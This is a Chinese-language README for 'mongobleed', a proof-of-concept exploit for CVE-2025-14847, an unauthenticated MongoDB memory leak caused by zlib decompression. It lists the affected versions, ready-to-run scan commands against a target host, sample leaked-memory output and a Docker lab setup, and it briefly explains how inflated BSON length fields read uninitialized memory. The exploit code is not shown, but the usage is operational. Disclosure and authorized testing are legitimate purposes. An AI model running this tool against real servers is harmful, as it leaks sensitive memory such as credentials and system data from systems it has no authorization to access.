CVE-2025-14847 - MongoDB 未授权内存泄漏漏洞利用程序
这是针对 MongoDB zlib 解压漏洞的概念验证(PoC)利用程序,允许未授权攻击者泄漏服务器敏感内存。
MongoDB 的 zlib 消息解压存在缺陷,返回的是分配的缓冲区大小,而非实际解压后的数据长度。攻击者可借此读取未初始化内存,方法如下:
uncompressedSize 声明的压缩消息| 版本 | 受影响版本 | 修复版本 |
|---|---|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
# Basic scan (offsets 20-8192)
python3 mongobleed.py --host <target>
# Deep scan for more data
python3 mongobleed.py --host <target> --max-offset 50000
# Custom range
python3 mongobleed.py --host <target> --min-offset 100 --max-offset 20000
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[*] Saved to: leaked.bin
随附一个 Docker Compose 文件,用于快速启动一个存在漏洞的 MongoDB 实例:
docker-compose up -d
python3 mongobleed.py
该利用程序会构造带有虚增长度字段的 BSON 文档。当服务器解析这些文档时,会从未初始化内存中读取字段名,直到遇到空字节。在不同偏移处进行探测,可泄漏不同的内存区域。
泄漏的数据可能包括:
/proc 数据(meminfo、网络统计信息)Joe Desimone - x.com/dez_
此工具仅供经授权的安全测试使用。未经授权访问计算机系统属于违法行为。
| 参数 | 默认值 | 说明 |
|---|
--host | localhost | 目标 MongoDB 主机 |
--port | 27017 | 目标 MongoDB 端口 |
--min-offset | 20 | 要探测的最小文档长度 |
--max-offset | 8192 | 要探测的最大文档长度 |
--output | leaked.bin | 泄漏数据的输出文件 |